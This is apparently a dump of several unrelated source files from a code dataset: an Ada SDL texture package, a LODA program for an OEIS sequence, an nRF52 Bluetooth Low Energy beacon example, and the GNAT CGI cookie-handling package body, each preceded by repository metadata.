generic
type Pixel_Pointer_Type is private;
procedure Lock_Area (Self : in out Texture;
Area : in SDL.Video.Rectangles.Rectangle;
Pixels : out Pixel_Pointer_Type;
Pitch : out SDL.Video.Pixels.Pitches);
procedure Unlock (Self : in out Texture);
procedure Query (Self : in Texture;
Pixel_Format_Name : out SDL.Video.Pixel_Formats.Pixel_Format_Names;
Kind : out Kinds;
Size : out SDL.Sizes);
function Get_Pixel_Format (Self : in Texture) return SDL.Video.Pixel_Formats.Pixel_Format_Names;
function Get_Kind (Self : in Texture) return Kinds;
function Get_Size (Self : in Texture) return SDL.Sizes;
-- SDL_UpdateTexture
-- SDL_UpdateYUVTexture
private
type Texture is new Ada.Finalization.Limited_Controlled with
record
Internal : SDL.C_Pointers.Texture_Pointer := null;
Owns : Boolean := True;
Locked : Boolean := False;
Size : SDL.Sizes := SDL.Zero_Size;
Pixel_Format : SDL.Video.Pixel_Formats.Pixel_Format_Names := SDL.Video.Pixel_Formats.Pixel_Format_Unknown;
end record;
overriding
procedure Finalize (Self : in out Texture);
function Get_Internal_Texture (Self : in Texture) return SDL.C_Pointers.Texture_Pointer with
Export => True,
Convention => Ada;
Null_Texture : constant Texture := (Ada.Finalization.Limited_Controlled with
Internal => null,
Owns => True,
Size => SDL.Zero_Size,
Pixel_Format => Pixel_Formats.Pixel_Format_Unknown,
Locked => False);
end SDL.Video.Textures;
|
programs/oeis/084/A084057.asm | neoneye/loda | 22 | 172464 | ; A084057: a(n) = 2*a(n-1) + 4*a(n-2), a(0)=1, a(1)=1.
; 1,1,6,16,56,176,576,1856,6016,19456,62976,203776,659456,2134016,6905856,22347776,72318976,234029056,757334016,2450784256,7930904576,25664946176,83053510656,268766806016,869747654656,2814562533376,9108115685376,29474481504256,95381425750016,308660777517056,998847258034176,3232337626136576,10460064284409856,33849479073366016,109539215284371456,354476346862206976,1147109554861899776,3712124497172627456,12012687213792854016,38873872416276217856,125798493687723851776,407092477040552574976,1317378928832000557056,4263127765826211414016,13795771246980425056256,44644053557265695768576,144471192102453091762176,467518598433968966598656,1512921965277750300246016,4895918324291376466886656,15843524509693754134757376,51270722316553014137061376,165915542671881044813152256,536913974609974146174550016,1737490119907472471601709056,5622636138254841527901618176,18195232756139572942210072576,58881010065298511996026617856,190542951155155315760893526016,616609942571504679505893523456,1995391689763630622055361150976,6457223149813279962134296395776,20896013058681082412490037395456,67620918716615284673517260374016,218825889667954898996994670329856,708135454202370936688058382155776,2291574467076561469364095445630976,7415690750962606685480424419885056,23997679370231459248417230622294016,77658121744313345238756158924128256,251306960969552527471181240337432576,813246408916358435897387116371378176
seq $0,14335 ; Exponential convolution of Fibonacci numbers with themselves (divided by 2).
mul $0,5
add $0,1
|
examples/NRF52_DK/BLE_beacon/src/beacon.adb | rocher/Ada_Drivers_Library | 192 | 14387 | <filename>examples/NRF52_DK/BLE_beacon/src/beacon.adb
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2016-2020, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with nRF.Tasks;
with nRF.Events;
with nRF.Radio; use nRF.Radio;
with nRF.Clock; use nRF.Clock;
with Bluetooth_Low_Energy.Packets; use Bluetooth_Low_Energy.Packets;
with Bluetooth_Low_Energy; use Bluetooth_Low_Energy;
with Bluetooth_Low_Energy.Beacon; use Bluetooth_Low_Energy.Beacon;
with HAL; use HAL;
package body Beacon is
Current_Adv_Channel : BLE_Advertising_Channel_Number := 37;
Beacon_Packet : BLE_Packet;
----------------------
-- Initialize_Radio --
----------------------
procedure Initialize_Radio is
Beacon_UUID : constant BLE_UUID :=
Make_UUID ((1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16));
begin
Beacon_Packet := Make_Beacon_Packet
(MAC => (16#A1#, 16#AD#, 16#A1#, 16#AD#, 16#A1#, 16#AD#),
UUID => Beacon_UUID,
Major => 0,
Minor => 0,
Power => 0);
-- Setup high frequency clock for BLE transmission
Set_High_Freq_Source (HFCLK_RC);
Start_High_Freq;
while not High_Freq_Running loop
null;
end loop;
-- Setup radio module for BLE
Setup_For_Bluetooth_Low_Energy;
-- Set BLE advertising address
Set_Logic_Addresses (Base0 => 16#89_BE_D6_00#,
Base1 => 16#00_00_00_00#,
Base_Length_In_Byte => 3,
AP0 => 16#8E#,
AP1 => 16#00#,
AP2 => 16#00#,
AP3 => 16#00#,
AP4 => 16#00#,
AP5 => 16#00#,
AP6 => 16#00#,
AP7 => 16#00#);
-- Select logic address
Set_TX_Address (0);
-- Transmission power
Set_Power (Zero_Dbm);
-- Enable shortcuts for easier radio operation
Enable_Shortcut (Ready_To_Start);
Enable_Shortcut (End_To_Disable);
end Initialize_Radio;
------------------------
-- Send_Beacon_Packet --
------------------------
procedure Send_Beacon_Packet is
begin
Configure_Whitening (True, UInt6 (Current_Adv_Channel));
Set_Frequency
(Radio_Frequency_MHz (Channel_Frequency (Current_Adv_Channel)));
if Current_Adv_Channel /= BLE_Advertising_Channel_Number'Last then
Current_Adv_Channel := Current_Adv_Channel + 1;
else
Current_Adv_Channel := BLE_Advertising_Channel_Number'First;
end if;
-- Set TX packet address
Set_Packet (Memory_Address (Beacon_Packet));
-- Clear all events
nRF.Events.Clear (nRF.Events.Radio_DISABLED);
nRF.Events.Clear (nRF.Events.Radio_ADDRESS);
nRF.Events.Clear (nRF.Events.Radio_PAYLOAD);
nRF.Events.Clear (nRF.Events.Radio_END);
-- Start transmission
nRF.Tasks.Trigger (nRF.Tasks.Radio_TXEN);
-- Wait for end of transmission
while not nRF.Events.Triggered (nRF.Events.Radio_DISABLED) loop
null;
end loop;
end Send_Beacon_Packet;
end Beacon;
|
llvm-gcc-4.2-2.9/gcc/ada/g-cgicoo.adb | vidkidz/crossbridge | 1 | 16545 | <filename>llvm-gcc-4.2-2.9/gcc/ada/g-cgicoo.adb
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . C G I . C O O K I E --
-- --
-- B o d y --
-- --
-- Copyright (C) 2000-2005, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Strings.Fixed;
with Ada.Strings.Maps;
with Ada.Text_IO;
with Ada.Integer_Text_IO;
with GNAT.Table;
package body GNAT.CGI.Cookie is
use Ada;
Valid_Environment : Boolean := False;
-- This boolean will be set to True if the initialization was fine
Header_Sent : Boolean := False;
-- Will be set to True when the header will be sent
-- Cookie data that has been added
type String_Access is access String;
type Cookie_Data is record
Key : String_Access;
Value : String_Access;
Comment : String_Access;
Domain : String_Access;
Max_Age : Natural;
Path : String_Access;
Secure : Boolean := False;
end record;
type Key_Value is record
Key, Value : String_Access;
end record;
package Cookie_Table is new Table (Cookie_Data, Positive, 1, 5, 50);
-- This is the table to keep all cookies to be sent back to the server
package Key_Value_Table is new Table (Key_Value, Positive, 1, 1, 50);
-- This is the table to keep all cookies received from the server
procedure Check_Environment;
pragma Inline (Check_Environment);
-- This procedure will raise Data_Error if Valid_Environment is False
procedure Initialize;
-- Initialize CGI package by reading the runtime environment. This
-- procedure is called during elaboration. All exceptions raised during
-- this procedure are deferred.
-----------------------
-- Check_Environment --
-----------------------
procedure Check_Environment is
begin
if not Valid_Environment then
raise Data_Error;
end if;
end Check_Environment;
-----------
-- Count --
-----------
function Count return Natural is
begin
return Key_Value_Table.Last;
end Count;
------------
-- Exists --
------------
function Exists (Key : String) return Boolean is
begin
Check_Environment;
for K in 1 .. Key_Value_Table.Last loop
if Key_Value_Table.Table (K).Key.all = Key then
return True;
end if;
end loop;
return False;
end Exists;
----------------------
-- For_Every_Cookie --
----------------------
procedure For_Every_Cookie is
Quit : Boolean;
begin
Check_Environment;
for K in 1 .. Key_Value_Table.Last loop
Quit := False;
Action (Key_Value_Table.Table (K).Key.all,
Key_Value_Table.Table (K).Value.all,
K,
Quit);
exit when Quit;
end loop;
end For_Every_Cookie;
----------------
-- Initialize --
----------------
procedure Initialize is
HTTP_COOKIE : constant String := Metavariable (CGI.HTTP_Cookie);
procedure Set_Parameter_Table (Data : String);
-- Parse Data and insert information in Key_Value_Table
-------------------------
-- Set_Parameter_Table --
-------------------------
procedure Set_Parameter_Table (Data : String) is
procedure Add_Parameter (K : Positive; P : String);
-- Add a single parameter into the table at index K. The parameter
-- format is "key=value".
Count : constant Positive :=
1 + Strings.Fixed.Count (Data, Strings.Maps.To_Set (";"));
-- Count is the number of parameters in the string. Parameters are
-- separated by ampersand character.
Index : Positive := Data'First;
Sep : Natural;
-------------------
-- Add_Parameter --
-------------------
procedure Add_Parameter (K : Positive; P : String) is
Equal : constant Natural := Strings.Fixed.Index (P, "=");
begin
if Equal = 0 then
raise Data_Error;
else
Key_Value_Table.Table (K) :=
Key_Value'(new String'(Decode (P (P'First .. Equal - 1))),
new String'(Decode (P (Equal + 1 .. P'Last))));
end if;
end Add_Parameter;
-- Start of processing for Set_Parameter_Table
begin
Key_Value_Table.Set_Last (Count);
for K in 1 .. Count - 1 loop
Sep := Strings.Fixed.Index (Data (Index .. Data'Last), ";");
Add_Parameter (K, Data (Index .. Sep - 1));
Index := Sep + 2;
end loop;
-- Add last parameter
Add_Parameter (Count, Data (Index .. Data'Last));
end Set_Parameter_Table;
-- Start of processing for Initialize
begin
if HTTP_COOKIE /= "" then
Set_Parameter_Table (HTTP_COOKIE);
end if;
Valid_Environment := True;
exception
when others =>
Valid_Environment := False;
end Initialize;
---------
-- Key --
---------
function Key (Position : Positive) return String is
begin
Check_Environment;
if Position <= Key_Value_Table.Last then
return Key_Value_Table.Table (Position).Key.all;
else
raise Cookie_Not_Found;
end if;
end Key;
--------
-- Ok --
--------
function Ok return Boolean is
begin
return Valid_Environment;
end Ok;
----------------
-- Put_Header --
----------------
procedure Put_Header
(Header : String := Default_Header;
Force : Boolean := False)
is
procedure Output_Cookies;
-- Iterate through the list of cookies to be sent to the server
-- and output them.
--------------------
-- Output_Cookies --
--------------------
procedure Output_Cookies is
procedure Output_One_Cookie
(Key : String;
Value : String;
Comment : String;
Domain : String;
Max_Age : Natural;
Path : String;
Secure : Boolean);
-- Output one cookie in the CGI header
-----------------------
-- Output_One_Cookie --
-----------------------
procedure Output_One_Cookie
(Key : String;
Value : String;
Comment : String;
Domain : String;
Max_Age : Natural;
Path : String;
Secure : Boolean)
is
begin
Text_IO.Put ("Set-Cookie: ");
Text_IO.Put (Key & '=' & Value);
if Comment /= "" then
Text_IO.Put ("; Comment=" & Comment);
end if;
if Domain /= "" then
Text_IO.Put ("; Domain=" & Domain);
end if;
if Max_Age /= Natural'Last then
Text_IO.Put ("; Max-Age=");
Integer_Text_IO.Put (Max_Age, Width => 0);
end if;
if Path /= "" then
Text_IO.Put ("; Path=" & Path);
end if;
if Secure then
Text_IO.Put ("; Secure");
end if;
Text_IO.New_Line;
end Output_One_Cookie;
-- Start of processing for Output_Cookies
begin
for C in 1 .. Cookie_Table.Last loop
Output_One_Cookie (Cookie_Table.Table (C).Key.all,
Cookie_Table.Table (C).Value.all,
Cookie_Table.Table (C).Comment.all,
Cookie_Table.Table (C).Domain.all,
Cookie_Table.Table (C).Max_Age,
Cookie_Table.Table (C).Path.all,
Cookie_Table.Table (C).Secure);
end loop;
end Output_Cookies;
-- Start of processing for Put_Header
begin
if Header_Sent = False or else Force then
Check_Environment;
Text_IO.Put_Line (Header);
Output_Cookies;
Text_IO.New_Line;
Header_Sent := True;
end if;
end Put_Header;
---------
-- Set --
---------
procedure Set
(Key : String;
Value : String;
Comment : String := "";
Domain : String := "";
Max_Age : Natural := Natural'Last;
Path : String := "/";
Secure : Boolean := False)
is
begin
Cookie_Table.Increment_Last;
Cookie_Table.Table (Cookie_Table.Last) :=
Cookie_Data'(new String'(Key),
new String'(Value),
new String'(Comment),
new String'(Domain),
Max_Age,
new String'(Path),
Secure);
end Set;
-----------
-- Value --
-----------
function Value
(Key : String;
Required : Boolean := False) return String
is
begin
Check_Environment;
for K in 1 .. Key_Value_Table.Last loop
if Key_Value_Table.Table (K).Key.all = Key then
return Key_Value_Table.Table (K).Value.all;
end if;
end loop;
if Required then
raise Cookie_Not_Found;
else
return "";
end if;
end Value;
function Value (Position : Positive) return String is
begin
Check_Environment;
if Position <= Key_Value_Table.Last then
return Key_Value_Table.Table (Position).Value.all;
else
raise Cookie_Not_Found;
end if;
end Value;
-- Elaboration code for package
begin
-- Initialize unit by reading the HTTP_COOKIE metavariable and fill
-- Key_Value_Table structure.
Initialize;
end GNAT.CGI.Cookie;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.